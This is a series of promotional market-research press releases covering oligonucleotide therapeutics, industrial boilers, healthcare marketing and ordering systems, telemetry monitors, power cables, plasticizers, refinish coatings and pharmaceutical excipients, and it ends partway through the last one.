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Oligonucleotides are short chain RNA or DNA which are usually manufactured by utilizing automated synthesizers. Purification of the oligonucleotide is done by anion exchange chromatography which is followed by desalting and freezing technique. For the synthesis of siRNA duplex oligonucleotide, an annealing step is carried out where two purified oligonucleotide strands are brought together in an equimolar ratio.Request Report TOC @Oligonucleotide therapeutics are different from conventional medicine as they can inhibit the expression of certain genes. This has given rise to innovative new oligonucleotides that can target specific genes and treat chronic diseases. The development of oligonucleotide therapeutics is done through chemically modified artificial nucleic acids. The artificial oligonucleotides are being developed which has improved in vivo stability and enhanced affinity to target mRNA.The demand for oligonucleotides is expected to upsurge as there are very few approved molecules. This has offered oligonucleotide market players a wide scope to discover new molecular entities. Moreover, the technology upgrades of chemically synthesized oligonucleotides have led to the development of more stable and extended half-life molecules. There are around 135 oligonucleotide therapeutics currently in different stages of drug development, which may further add to the limited three approved drugs currently available in the oligonucleotide therapeutics market.The presence of the main market leaders, market consolidation and commercialization of new molecules are all contributing towards the dominating position of North America in the oligonucleotides therapeutic market. Miragen Therapeutics, Inc. agreed to merge with Signal Genetics, Inc for an initial investment of USD 40 million. Through this merger both the companies expect to develop micro RNA-targeted oligonucleotide clinical products. New molecule application is also another strategy the market players are using to mark their presence in the oligonucleotide therapeutic market. Biogen recently received FDA approval for a new drug application for nusinersen. If approved, the antisense oligonucleotides molecule would be the first of its kind to be used for treating spinal muscular atrophy.Request A Sample Report @Asia-Pacific is the fastest growing region as several oligonucleotide therapeutics manufacturers are looking forward to establishing manufacturing facilities in this region. Moreover, research undertaking and funding in the synthesis of oligonucleotides are expected to add on to the increasing demand. Recently, Daiichi Sankyo Co., Ltd. announced its intention to open up a new company named Orphan Disease Treatment Institute Co., Ltd. to treat Duchenne muscular dystrophy through its active ingredient ENA oligonucleotide. The company is a collaboration between Daiichi, Mitsubishi UFJ Capital Co., Ltd. and Innovation Network Corporation of Japan and looks forward to entering the oligonucleotide therapeutics market.One of the major trends driving the oligonucleotides therapeutic market is the increasing licensing and collaboration activities. Moreover, the demand for advanced technologies in oligonucleotide therapeutics such as gene silencing through RNAi is gaining importance due to its high efficiency, thereby propelling the oligonucleotide therapeutics market.Some of the key contributors to the oligonucleotide therapeutics market are PCI Biotech, SomaGenics, ContraVir, Alnylam, Regulus Therapeutics, Ionis Pharmaceuticals, Gilead, Santaris, InteRNA, miRage, Biogen, Merck and Pfizer, among others.Pre Book Full Report @About UsPersistence Market Research (PMR) is a third-platform research firm. Our research model is a unique collaboration of data analytics and market research methodology to help businesses achieve optimal performance.To support companies in overcoming complex business challenges, we follow a multi-disciplinary approach. At PMR, we unite various data streams from multi-dimensional sources. By deploying real-time data collection, big data, and customer experience analytics, we deliver business intelligence for organizations of all sizes.Contact UsPersistence Market Research305 Broadway7th Floor, New York City,NY 10007, United States,Telephone - +1-646-568-7751USA  Canada Toll Free: 800-961-0353Email: sales@persistencemarketresearch.comWeb:
U.S. Industrial Boiler Market size was USD 452 million in 2015 with 2% growth forecast from 2016 to 2024

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U.S. Industrial Boiler Market has gained popularity over the past years due to stringent environmental norms towards eliminating carbon footprints and harmful pollutant emissions. Shifting focus of industrialists towards curtailing the use of fossil fuel-based plants will stimulate the U.S. industrial boiler industry. Moreover, rising clean-energy fuel demand coupled with favorable government initiatives in the region will push the industry growth.Fluctuating fuel prices over the past few years has triggered the demand for high efficiency boilers, which ensure significant reduction of fuel costs. Fuel accounts for 80% of the total operational cost in boilers. These high efficient boilers will drastically cut down the expenditures on fuel cost which will boost their adoption across the globe. High costs of fuel will encourage the replacement of old boilers with advanced ones driving the U.S. industrial boiler industry revenue.The most lucrative industry contributing significantly to the U.S. industrial boiler market is the chemical industry, owing to the rising chemical production. The statistical study conducted by the American Chemical Council stated that the chemical production will witness a surge by 1.6% in 2016 and 3.7% in 2017. Furthermore, the increasing demand from the food processing and paper industry is also poised to benefit the U.S. industrial market share.Request for Sample Copy of this research report @Below are the key highlights pertaining to the U.S. industrial boiler applications:The chemical application is estimated to be the largest revenue generator for the U.S. industrial boiler industry and is predicted to beat USD 150 million by 2024. Favorable government initiative to reduce environmental hazards will augment the U.S. industrial boiler market growth in chemical sector.Paper application is projected to exhibit an annual growth rate of 3%, owing to favorable demand from shale gas, dyes and cosmetics industry.Food industry is estimated to be the third most lucrative sector favoring U.S. industrial boiler market revenue. It has contributed over 27% of the total revenue for 2015.Refinery and metal industry will bring a huge set of opportunities for U.S industrial boiler business space. Growing demand for refinery products and steel consumption will influence the U.S. industrial boiler market growth in the coming seven years.Industrial boilers find applications in food, chemical, paper, and refinery industries, which are likely to be the major revenue generators for the boiler industry.Make an inquiry for purchasing this report @Taking into consideration the regional landscape, following are leading US States offering a positive push to the U.S. industrial boiler market in the coming timeframe:North Carolina boiler industry is anticipated to surpass USD 25 million by 2024.North East dominated by New Jersey contributed 13% of regional industrial boiler market share. Expansion of sturdy industrialization in the regions synced with stringent rules set by the Environmental Protection Agency (EPA) towards eliminating the air toxic standards will complement the overall U.S. industrial boiler industry share.The escalating gains and constructive growth of the paper industry has led Alabama industrial boiler market revenue to surpass USD 10 million by 2024.To access sample pages or view this report in detail along with the table of contents, please click on the link below:Browse Related Report:Global Boiler Market Size By Capacity (10 MMBtu/hr, 10-50 MMBtu/hr, 50-100 MMBtu/hr, 100-250 MMBtu/hr, 250 MMBtu/hr ), By Product (Fire-tube, Water-tube), By Fuel (Natural Gas, Oil, Coal), By Application (Residential, Commercial (Offices, Healthcare Facilities, Institutions, Lodgings, Retail), Industrial (Food, Paper, Chemical, Refinery, Primary Metals), Utility), Analysis Report, Regional Outlook (U.S., Canada, Mexico, France, UK, Poland, Italy, Spain, Austria, Germany, Sweden, Russia, China, India, Philippines, Japan, South Korea, Australia, Indonesia, Saudi Arabia, Iran, UAE, Nigeria, South Africa, Argentina, Chile, Brazil), Competitive Market Analysis & Forecast, 2017  2024About Global Market InsightsGlobal Market Insights, Inc., headquartered in Delaware, U.S., is a global market research and consulting service provider; offering syndicated and custom research reports along with growth consulting services. Our business intelligence and industry research reports offer clients with penetrative insights and actionable market data specially designed and presented to aid strategic decision making. These exhaustive reports are designed via a proprietary researchContact Us:Arun HegdeCorporate Sales, USAGlobal Market Insights, Inc.Phone: 1-302-846-7766Toll Free: 1-888-689-0688Email: sales@gminsights.comWeb:Blog:
Direct-to-Patient Digital Marketing Market to See Incredible Growth During 2017 - 2025

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The 21st century can aptly be described as the social network era. The rapid evolution of telecommunications technology, improving Internet infrastructure across the developing world and booming demand for smartphones has made us live in an interconnected and interdependent age. The world has never seemed smaller and technology has impacted every aspect of our daily lives. For a very long time, the medical, healthcare and pharmaceutical industries had avoided using Social Media platforms for a number of reasons. It was largely adopted by corporate houses but not by the pharmacy companies for fear of it being too much of a legal liability. In spite of this, some pioneering healthcare companies have led the way forward in the Direct-to-Patient Digital Marketing Market. They have shown that it is not only possible but imperative in todays rapidly changing healthcare economy.Request for Complete TOC of Report @Today, healthcare patients are bombarded with thousands of branding exercises every day. More than half of these have absolutely no relevance to them. The Direct-to-Patient Digital Marketing Market understands the needs of a particular target audience and tailors its message to address their requirements directly. This allows healthcare providers to target the right audience at the right time with the right content. And what better way to reach patients than through popular Social Media platforms which they use regularly and are far more likely to respond positively to?The first Direct-to-Patient Digital Marketing Market driver is the growing importance of social media and also the patient. Whether healthcare companies like it or not, patients are playing a greater role in taking their own medical decisions. Web sites such as Healthline, Everyday Health and WebMD have made it very easy for patients to self-diagnose their problem. They frequently arrive at a hospital or doctors clinic already informed and with a list of possible ailments troubling them. People have also begun to expect assistance to their problems at any time of the day or week. Effective care in the Direct-to-Patient Digital Marketing market is provided 24/7 by leveraging both online and offline marketing tools to educate, sustain and engage patients at every stage of their decision making process. Pharmaceutical and medical companies must adopt Social Media to survive in the digital age and those that refuse to take part in it are only accelerating their own decline.Request to sample report @The second driver for the Direct-to-Patient Digital Marketing Market is risk management. A companys brand can be tarnished online almost instantaneously through the spread of misinformation by disgruntled patients or ex-employees. If the medical organisation is inactive online, the brand can be steered in any direction the public wishes to take it. Thus, healthcare companies need to manage their own PR and companys reputation as the alternate scenario is far too risky. It is vital for all organisations to meet customers where they are and that includes being active on Social Media platforms. Using traditional media channels might often be ineffective and a wasteful expenditure since customers would be far less likely to read it or respond.While Social Media has benefited our lives in countless ways, it has also lead to a host of issues which were never even considered a decade or two ago. In the case of the Direct-to-Patient Digital Marketing Market, there are a few challenges which must be handled with the utmost care. The first is the legal regulations concerned with both the medical industry and the Internet. Medical institutions and healthcare professionals must be very careful with their patients private and personal health information as it is eagerly sought after by hackers. They can never disclose it online even inadvertently as the organisation can be involved in expensive legal lawsuits which cause both financial and reputational damage. There can also be privacy concerns from the patients side. Older people, in general, are mistrustful of technology and the number of hacks or data leaks do little to reassure their fears. They may be hesitant to use Social Media platforms to discuss their health problems which could make it challenging for medical companies to reach them online.Pre Book Full Report @About UsPersistence Market Research (PMR) is a third-platform research firm. Our research model is a unique collaboration of data analytics and market research methodology to help businesses achieve optimal performance.To support companies in overcoming complex business challenges, we follow a multi-disciplinary approach. At PMR, we unite various data streams from multi-dimensional sources. By deploying real-time data collection, big data, and customer experience analytics, we deliver business intelligence for organizations of all sizes.Contact UsPersistence Market Research305 Broadway7th Floor, New York City,NY 10007, United States,Telephone - +1-646-568-7751USA  Canada Toll Free: 800-961-0353Email: sales@persistencemarketresearch.comWeb:
Life Sciences Controlled Substance Ordering System Market to Develop Rapidly by 2025

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The electronic pharmaceutical industry contains many organisations of differing sizes including controlled substance suppliers, purchasers, manufacturers, practitioners, pharmacies, federal agencies, retailers, distributors and service providers. Pharmaceutical companies within the supply chain wish to reduce costly paperwork like the paper Form-222 by shifting to electronic, centralised, cloud-based systems. This enables them to comply with DEA audit requests, while dramatically reducing implementation cost and time. They are adequately served by the Life Sciences Controlled Substance Ordering System Market.Request for Complete TOC of Report @A Controlled Substance Ordering System (CSOS) is a form of digital identity issued by the Drug Enforcement Administrations CSOS Certification Authority, allowing electronic ordering of controlled substances under Schedule I, II, III, and IV. The CSOS certificate is the digital equivalent of identity information in the DEA Form-222. The Life Sciences Controlled Substance Ordering System Market mainly caters to individual buyers and it is a mandatory requirement for ordering Schedule I and Schedule II drugs. The CSOS certificate enables the power of attorneys and DEA registrants to order controlled substances electronically by providing identification and authentication details through digital signatures. While the paper DEA form-222 is still technically allowed, the CSOS certificate is the only way Schedule I and II drugs can be ordered today.The key drivers of the Life Sciences Controlled Substance Ordering System Market are Improved customer service  Every organisation seeks to improve the service provided to drive customer engagement and improve customer retention and loyalty. CSOS allows pharmaceutical companies to order Scheduled drugs from a centralised location for all the stores owned by the chain.Streamlined operations and reduced redundancy  In the Life Sciences Controlled Substance Ordering System Market, a manually prepared Form-222 is replaced by its electronic equivalent. While a paper order form is limited to only 10 line items per order, there is no such limit in an electronic system.Request for Complete TOC of Report @Error reduction  The Form-222 is prepared manually. Descriptions and other data need to be entered by hand which makes any operational mistake far more likely. Electronic orders identify products on the basis of their National Drug Code (NDC) and are less prone to any kind ofGreater security  An electronic system is far more fool-proof than a manual, handwritten one and the chance of any data compromise or leak is quite low. This is critical in an industry as important as the life science and pharmaceutical one where any discrepancy or mistake can mean the difference between life and death.Some of the Life Sciences Controlled Substance Ordering System Market Restraints are Insufficient co-ordination of organization subscriber roles  Each pharmaceutical company must have one principle co-ordinator registered with the DEA and each can only serve one role per registration like power of attorney or principle co-ordinator for example. This increases the bureaucracy of the organisation and can also cause enrollment delays.Poorly trained staff  While switching to CSOS will definitely benefit the organisation, in the long run, it will have to train its employees to use these systems at the outset. This will involve a significant training cost which may not be reimbursed by the government. The high initial outlay will make smaller firms seriously consider the benefits of these systems.Some companies involved in the Life Sciences Controlled Substance Ordering System Market are Axway, Vormetric, Legisym, The Drummond Group, Attain Med and Bound Tree Medical.Pre Book Full Report @About UsPersistence Market Research (PMR) is a third-platform research firm. Our research model is a unique collaboration of data analytics and market research methodology to help businesses achieve optimal performance.To support companies in overcoming complex business challenges, we follow a multi-disciplinary approach. At PMR, we unite various data streams from multi-dimensional sources. By deploying real-time data collection, big data, and customer experience analytics, we deliver business intelligence for organizations of all sizes.Contact UsPersistence Market Research305 Broadway7th Floor, New York City,NY 10007, United States,Telephone - +1-646-568-7751USA  Canada Toll Free: 800-961-0353Email: sales@persistencemarketresearch.comWeb:
Patient Decision Aid Market Plying for Significant Growth During 2017 - 2025

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The healthcare delivery system has changed and new chipped in ideas and innovations are reshaping the predetermined patient convenience levels. Communication is playing a major role in this entire evolution. Hospitals and clinics are opening multiple windows of communication to aid patients with smart clinical solutions. In this modern healthcare ecosystem, the essence of patient decision aid system is extremely important. Patient decision aid systems can support and guide a patient before taking a call on the treatment he or she is offered with. The healthcare institutes such as hospitals and clinics do use different mediums to offer adequate support to the patients. They often take the route of counselling or even table a proper presentation in front of the patients. This process of pretreatment sessions not only helps the patient to take the right decision but it also assists them to understand the entire procedure of treatment. This further helps the patient to save money and time and also reduces the load of patients in the hospitals. The market of the Patient decision Aid is about to multiply in the forthcoming years. As the global healthcare market is growing with time, the continuous digital advancements are changing the face of the healthcare. North America is the largest healthcare market of the globe. The total approximate value of the market is about to reach 32 billion US dollars by the end of 2017, expects the market hawks.Request for Complete TOC of Report @The thriving healthcare market backed by advanced IT solutions will create a better and brighter climate of growth for the patient decision aid market. The entire healthcare industry is slowly adopting with the digital revolution. The role of extensive data storage and data sharing is playing a crucial part in the development of the patient decision aid market. The ageing population of the world, the steady rise of the concept of integrated healthcare and the better government initiatives to expedite the healthcare deliveries and the expanded market of IT is favouring the organic growth of IT in healthcare. The new breed of enlightened customers are hungry for more knowledge and they want to understand the consequences of a treatment method before they completely rely on the clinicians. The patient decision aid is a smart platform which helps the patients and doctors to come together and discuss the crucial components of the medication. There are multiple advantages of the patient decision aid. A recent survey on patient decision aid says that it helps in expanding the knowledge of the patients, apart from this, the patients understand their priorities and also it helps them to avoid any sort of medical or financial botch-ups. The most important factor of the decision aid is that they establish a clear and transparent channel of communication between a patient and a physician.There are several affluent healthcare pockets spread across the globe. Countries such as US, Canada, China, Australia and India are some of the fastest growing healthcare markets in the world. The surging significance of the patient decision aid is extremely important to support the surging demands of the patients. The spur in the healthcare delivery climate and the benefit of the IT in healthcare is changing the canvas of the patient delivery aid market. The patient delivery aid market is also largely driven by several new concepts which are inducted in the healthcare delivery skeleton. The concept of minimal hospital stay and piling pressure of aged patients and rise in chronic diseases is making things critical for the healthcare industry. The patient decision aid is a sign of relief for the healthcare market, as it not only reduces the pressure of the unwanted medical treatments, but it also creates an easy way of treatment for the patient by establishing a proper channel of communication between the client and the facilitator.Request to sample report @As the entire system of the patient decision aid is dependent upon the choice of the patient and also on the sensitivity of the patient, so the overall market growth might depend on the whims and fancy of the patients. Apart from this, the growth of the patient decision aid market needs an advanced technological platform. The availability of these platforms is absent in the undeveloped healthcare markets. As the entire patient decision aid depends on analysis and records so the end output might vary, that might annoy the patient and shoo them away from this process.The rise of the modern healthcare facilities around the world is adding pace to the healthcare market. The patient decision aid market is an integral part of the advanced healthcare climate which is spread across North America, APEJ, MEA and some parts of Africa.The technological advancement has promoted the growth of the patient decision aid market in the last few years. HealthDecision is one of the apps which is used to aid patient decision. Apart from this the clinicians also frequently use decision boards, DVDs, Presentations, other convenient mediums of communication.Pre Book Full Report @About UsPersistence Market Research (PMR) is a third-platform research firm. Our research model is a unique collaboration of data analytics and market research methodology to help businesses achieve optimal performance.To support companies in overcoming complex business challenges, we follow a multi-disciplinary approach. At PMR, we unite various data streams from multi-dimensional sources. By deploying real-time data collection, big data, and customer experience analytics, we deliver business intelligence for organizations of all sizes.Contact UsPersistence Market Research305 Broadway7th Floor, New York City,NY 10007, United States,Telephone - +1-646-568-7751USA  Canada Toll Free: 800-961-0353Email: sales@persistencemarketresearch.comWeb:
Wireless Ambulatory Telemetry Monitors Market to Witness an Outstanding Growth by 2025

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Ambulatory telemetry is a type of heart monitoring. It uses lightweight, portable equipment to record hearts electrical activity during daily activities. Monitoring can last for a few days to several weeks. The goal of ambulatory telemetry is to discover if symptoms such as dizziness, shortness of breath, chest pain, or fainting are caused by a heart rhythm problem. An electrocardiogram (ECG or EKG) is unable to reveal the source of symptoms and a longer test may be needed. The telemetry monitoring device market includes wireless patient worn monitors. Telemetry monitors have traditionally been used for monitoring one or two parameters. However, recent advancements have enabled these devices to monitor three or four parameters of the heart on an average. The patient worn monitors allow for continuous monitoring of ambulatory patients within the area of coverage. Signals from the patient worn device are transmitted to a central station where nurses can monitor patients vital signs. Wireless ambulatory telemetry is most commonly found in cardiac care areas, including stroke units, coronary care units, step and step down units.Request for Complete TOC of Report @Over the forecast period, the global wireless ambulatory telemetry monitors market will continue to witness moderate growth driven by a prevalent interest to invest in patient-worn monitors across unmonitored, low-acuity hospital settings. Acute care areas where telemetry is seeing increased adoption include the recovery and general care floors, where continuous monitoring helps to reduce avoidable complications, as well as critical care settings, such as the cardiac care unit (CCU). On the other hand, new efforts to combat excess workload on hospital resources and alarm fatigue are expected to limit future growth of wireless ambulatory telemetry monitors through 2024. Wide expansion in the number of technologies that are used for patient ambulatory telemetry and wireless medical device instrument are booming in the healthcare industry globally which is anticipated to drive growth of the global wireless ambulatory telemetry monitors market growth during forecast period.The global wireless ambulatory telemetry monitors market is segmented on the basis of application into Emergency department, ICU stepdown, Cardiac unit, Neuroscience unit and others. Hospitals have discovered that telemetry systems have broad applications, from the emergency department where incoming patients with suspected cardiac abnormalities can be monitored without necessarily tying up a monitored bed, to neuroscience units where ECG telemetry can be useful in caring for stroke patients.Request to Sample Report @Geographically, wireless ambulatory telemetry monitors market has been segmented into North America, Europe, Asia Pacific, Latin America and Middle East & Africa. The wireless ambulatory telemetry monitors market is currently dominated by North America region in terms of value and volume owing to the presence of a large number of global players in the region. Moreover, technological advancements in the wireless ambulatory telemetry monitors is also expected to boost growth during the forecast period. Similarly, Asia Pacific is expected to witness high growth in wireless ambulatory telemetry monitors market due to rising awareness among healthcare professionals about the need for wireless ambulatory telemetry monitors, & rising healthcare expenditures coupled with increasing focus of global players in the countries like India and China. The market will typically witness a higher growth rate in countries such as the Germany, Spain, U.K., Italy and France. The wireless ambulatory telemetry monitors market in the Germany is developed and well-established, and is comparatively easy to enter, making the wireless ambulatory telemetry monitors market in the country stronger than in any other European countries.Major players operating in the global wireless ambulatory telemetry monitors market include Philips Healthcare, GE Healthcare, Mindray Medical, Natus Medical, Welch Allyn, Omron Healthcare, Nihon Kohden, Spacelabs Healthcare, Nonin Medical, Boston Scientific to name a few.Pre Book Full Report @About UsPersistence Market Research (PMR) is a third-platform research firm. Our research model is a unique collaboration of data analytics and market research methodology to help businesses achieve optimal performance.To support companies in overcoming complex business challenges, we follow a multi-disciplinary approach. At PMR, we unite various data streams from multi-dimensional sources. By deploying real-time data collection, big data, and customer experience analytics, we deliver business intelligence for organizations of all sizes.Contact UsPersistence Market Research305 Broadway7th Floor, New York City,NY 10007, United States,Telephone - +1-646-568-7751USA  Canada Toll Free: 800-961-0353Email: sales@persistencemarketresearch.comWeb:
Overhead Power Cables Market Analysis, Key Players, Industry Segments, Opportunities, Forecast Report 2022

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Market HighlightsOverhead power cables are the fundamental part of power transmission and distribution infrastructure. Rising inclusion of renewable power resources, high quality and uninterrupted electricity, upgradation of aging grid infrastructure result in the growth of the overhead power cables market. Rapid urbanization and industrialization are the major factors in the Global Overhead Power Cables Market.Asia Pacific held the largest share within the overhead power cables market, and is expected to retain its majority by 2022. This region is expected to be fastest growing market for overhead power cables. China and India are the main drivers for the growth in Asia Pacific region. North America was the second largest market for overhead power cables in 2014. Hugh investments in power transmission and distribution infrastructure by Saudi Arabia and others countries are expected to drive the market in the Middle East. Middle East is expected to be second fastest growing market for transmission cables.Scope of the reportThis study provides an overview of the global overhead power cables industry, tracking market segments across the categorized five geographic regions. The report provides a six-year forecast for the market size in terms of value for North America, Europe, Asia-Pacific, Middle East & Africa, and Latin America. The scope of the study segments the global Overhead Power Cables market based on services into product type, voltage, and Users.Request a Sample Copy @Key PlayersThe key players of Global Overhead Power Cables Market Report Include- General Cable Technologies Corp., Southwire Co. LLC, Zhejiang Shengda Steel Tower Co. Ltd., KEC International Ltd., Kalpataru Power Transmission Ltd., Nexans S.A., Prysmian S.p.A., Shandong DingChang Tower Co. Ltd., Nanjing Daji Iron Tower Manufacturing Co. Ltd., Sumitomo Electric Industries Ltd.Urbanization and rapid industrialization will be the major factors for the development of the market. However, replacement of old grid infrastructure and rising inclusion of renewable power resources will impact the overhead power cable market. The market for overhead power cable market is expected to grow at a moderate pace during the forecast period.Enquire about this Report @Overhead Power Cables Global Market - SegmentsThe Overhead Power Cables Market can be segmented in to 4 key dynamics for the convenience of the report and enhanced understanding;Segmentation By Product Type : Comprises Conductors, Fittings, and Fixtures.Segmentation By Voltage : Comprises High, Medium, and Low.Segmentation By Users : Comprises Commercial, Industrial, and Residential.Segmentation By Regions : Comprises Geographical regions - North America, Europe, APAC and Rest of the World.Table of Content1. Report Prologue2. Introduction2.1. Definition2.2. Scope Of The Study2.2.1. Research Objective2.2.2. Assumptions2.2.3. Limitations2.3. Market Structure2.4. Market Segmentation3. Research Methodology3.1. Research Process3.2. Primary Research3.3. Secondary Research3.4. Market Size Estimation3.5. Forecast Model4. Market DynamicsContinue.List of TablesTable 1 Global Overhead Power Cables Market: By Product Type, 2014-2022 (USD Billion)Table 2 Conductors: Overhead Power Cables Market, By Region, 2014-2022 (USD Billion)Table 3 Fittings: Overhead Power Cables Market, By Region, 2014-2022 (USD Billion)Table 4 Fixtures: Overhead Power Cables Market, By Region, 2014-2022 (USD Billion)Table 5 Global Overhead Power Cables Market: By Voltage, 2014-2022 (USD Billion)Table 6 High: Overhead Power Cables Market, By Region, 2014-2022 (USD Billion)Continue.List of FiguresFigure 1 Global Overhead Power Cables Market SegmentationFigure 2 Forecast MethodologyFigure 3 Five Forces Analysis Of Global Overhead Power Cables MarketFigure 4 Value Chain Of Global Overhead Power Cables MarketFigure 5 Global Overhead Power Cables Market: By Product, 2014-2022 (Usd Billion)Figure 6 Global Overhead Power Cables Market: By Voltage, 2014-2022 (USD Billion)Figure 7 Global Overhead Power Cables Market: By Users, 2014-2022 (USD Billion)ContinueBrowse Full Report Details @About Market Research Future:At Market Research Future (MRFR), we enable our customers to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR), and Market Research & Consulting Services.MRFR team have supreme objective to provide the optimum quality market research and intelligence services to our clients. Our market research studies by products, services, technologies, applications, end users, and market players for global, regional, and country level market segments, enable our clients to see more, know more, and do more, which help to answer all their most important questions.Market Research FutureOffice No. 528, Amanora ChambersMagarpatta Road, Hadapsar,Pune - 411028Maharashtra, India+1 646 845 9312Email: sales@marketresearchfuture.com
Global Plasticizers Market  Industry Challenges, Key Vendors, Drivers, Trends and Forecast to 2022

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Market HighlightsPlasticizers are organic ester additives, which are added to polymers to enrich the performance of the polymeric material, by enhancing various properties such as, flexibility, diffusivity, heat resistance, stability and toughness. Most commonly used plasticizers are dialkyl phthalates, due to its low cost and optimum properties when incorporated into the polymer matrix.The increasing use of PVC as a commercially used polymer is attributed to the growth of global plasticizers market. The use of plasticizers in the automotive industries for its wide range of applications in the automotive parts is anticipate to augment the market for plasticizers market. Furthermore, the extensive use of plasticizers for building & construction applications is anticipated to fuel the market for plasticizers market mostly in the developing markets. Apart from the above mentioned factors, macroeconomic factors such as increased consumer spending, rise in disposable income and GDP can be attributed to further growth of global phthalates market.Based on varying applications, plasticizers market can be segmented into, flooring, wall coverings, roofing membranes, electrical wires & cables, automotive applications, medical devices and others. Plasticizers market can be segmented into various groups depending on the type of additive present in that plasticizer. Some examples of additives used are as follows: phthalates, adipates, trimellitates, epoxy, polymerics and phosphates.Global Plasticizers Market is expected to grow with the CAGR 2.2% of more than from 2016 to 2022, and with this it is predictable to cross USD 18,500 Million by 2022Key Players:The key players in market includes Nan Ya Plastics, Union Petrochemical Corp., Dahin Co., Aekyung Industrial Co., LG Chemical, Exxon Mobil Corporation, Eastman Chemical Company, BASF, Evonik Industries, Bluesail Chemical Groups others.Request a Sample Copy @Asia pacific has dominated Plasticizers Market in 2016Asia Pacific dominated the market for global plasticizers and registered a considerable CAGR in 2016. The market has been growing due to various growing manufacturing sector namely, automotive, medical devices, chemicals and consumer goods. Among the countries in Asia Pacific, China dominated the market for plasticizers in terms of value and volume in 2016, and it is anticipated to dominate in the fore coming years.Developed markets such as North America and Europe plasticizers markets witnessed sluggish growth and consumption due to the stringent regulations for use of phthalate plasticizers in the region along with the customer inclination towards bio-plasticizers are some of the factors attributed to the sluggish growth of plasticizers market in these regions.Segment analysis:Plasticizers market as type and application is segmented into by type: Phthalates, Adipates, Trimellitates, Epoxy, Polymerics and Phosphates and by application flooring, wall coverings, roofing membranes, electric wires & cables, automotive, medical devices & others. Plasticizers such as phthalates is anticipated to have considerable demand over the forecast period, owing to its demand in the automotive industry, building & construction along with its huge consumption in PVC products. Adipates plasticizers is followed by phthalates, owing to its use in adhesives and sealants. The key driver for plasticizer are the cumulative growth of industrial sector in the developing nations, along with the increased spending of consumers in the region. However, environmental regulations and availability of substitutes for plasticizers is anticipated to hamper the plasticizer market growth.Enquire about this Report @Table of Content1 Executive Summary2 Scope Of The Report2.1 Market Definition2.2 Scope Of The Study2.2.1 Research Objectives2.2.2 Assumptions & Limitations2.3 Markets Structure3 Market Research Methodology3.1 Research Process3.2 Secondary Research3.3 Primary Research3.4 Forecast Model4 Market Landscape4.1 Five Forces Analysis4.1.1 Threat Of New Entrants4.1.2 Bargaining Power Of Buyers4.1.3 Threat Of Substitutes4.1.4 Segment Rivalry4.2 Value Chain/Supply Chain Of Global Plasticizers Market5 Industry Overview Of Global Plasticizers MarketContinue.Browse Full Report Details @About Market Research Future:At Market Research Future (MRFR), we enable our customers to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR), and Market Research & Consulting Services.MRFR team have supreme objective to provide the optimum quality market research and intelligence services to our clients. Our market research studies by products, services, technologies, applications, end users, and market players for global, regional, and country level market segments, enable our clients to see more, know more, and do more, which help to answer all their most important questions.Market Research FutureOffice No. 528, Amanora ChambersMagarpatta Road, Hadapsar,Pune - 411028Maharashtra, India+1 646 845 9312Email: sales@marketresearchfuture.com
Dec, 19 2017: Automotive Refinish Coatings Market Outlook 2023 Cabot, Donglai, AkzoNobel, Sherwin-Williams

Automotive Refinish Coatings Market

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Automotive Refinish Coatings Market Research 2017A market study "Global Automotive Refinish Coatings Market" examines the performance of the Automotive Refinish Coatings market 2017. It encloses an in-depth Research of the Automotive Refinish Coatings market state and the competitive landscape globally. This report analyzes the potential of Automotive Refinish Coatings market in the present and the future prospects from various angles in detail.The Global Automotive Refinish Coatings Market 2017 report includes Automotive Refinish Coatings market Revenue, market Share, Automotive Refinish Coatings industry volume, market Trends, Automotive Refinish Coatings Growth aspects. A wide range of applications, Utilization ratio, Supply and demand analysis are also consist in the report.It shows manufacturing capacity, Automotive Refinish Coatings Price during the Forecast period from 2017 to 2022.To Get Sample Report Click Here:Manufacturers Analysis and Top Sellers of Global Automotive Refinish Coatings Market 2017 :1. BASF2. AkzoNobel3. PPG Industries4. Axalta Coating Systems5. Sherwin-Williams6. Valspar Corporation7. Nippon Paint8. Berger Paints9. Kansai Paint10. KAPCI Coatings11. KCC Corporation12. Cabot Corporation13. Color Communication14. NOROO Paints & Coatings15. Alsa Refinish16. Diamond Vogel17. DonglaiAutomotive Refinish Coatings Market : By Application Passenger Vehicle Light Commercial Vehicle Heavy Commerical VehicleAutomotive Refinish Coatings Market : By Type Solvent-borne Coatings Water-borne Coatings UV Cured CoatingsFirstly, the report covers the top Automotive Refinish Coatings manufacturing industry players from regions like United States, EU, Japan, and China. It also characterizes the market based on geological regions.Further, the Automotive Refinish Coatings report gives information on the company profile, market share and contact details along with value chain analysis of Automotive Refinish Coatings industry, Automotive Refinish Coatings industry rules and policies, circumstances driving the growth of the market and compulsion blocking the growth. Automotive Refinish Coatings Market development scope and various business strategies are also mentioned in this report.Browse Full Report Here:The Automotive Refinish Coatings research report includes the products that are currently in demand and available in the market along with their cost breakup, manufacturing volume, import/export scheme and contribution to the Automotive Refinish Coatings market revenue worldwide.Finally, Automotive Refinish Coatings market report gives you details about the market research findings and conclusion which helps you to develop profitable market strategies to gain competitive advantage.About Us:"Spire Market Research" is a leading market intelligence team which accredits and provides the reports of some of the top publishers in the field of technology industry. We are as a firm expertise in making extensive reports that cover all the necessary details about the market assessments such as major technological improvement in the industry.Contact Us5001 Spring Valley Road,Suite 400 East,Dallas, TX 75244, USAWeb:Email: sales@spiremarketresearch.com
Pharmaceutical Excipient Market to Witness Passive Growth at a CAGR of 6.7% by 2021

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According to a latest market report published by Persistence Market Research, titled Global Market Study on Pharmaceutical Excipients: Increased Drug Demand in Emerging Asia Pacific Market to Fuel Demand Multi-Functional Excipients, revenue from the global pharmaceutical excipients market is expected to expand at a CAGR of 6.7% during the forecast period 2015  2021.View Report Preview @In the report, the global pharmaceutical excipients market is analyzed on the basis of chemistry type (i.e. source of origin), application type, functionality, and region. Based on chemistry type, the overall market has been segmented into plant-based, animal-based, mineral-based and synthetically derived excipients. Based on functionality, the market has been segmented into binders (binders, coatings, and fillers), glidents, diluents, disintegrants, and others (solvents, co-solvents, anti-microbial agents, lubricants, colorants, emulsifiers, and humectants). By application type, the market has been segmented into oral, topical, parenteral formulations, and others, which includes suppositories, intra-muscular, and ophthalmic preparations. In the overall market, oral solid dosage formulations are expected to witness increased uptake owing to the ease of consumption by patients globally. Accordingly, oral application type segment is expected to witness value increase from US$ 3,327.8 Mn in 2015 to US$ 5,094.2 Mn by the end of 2021.The 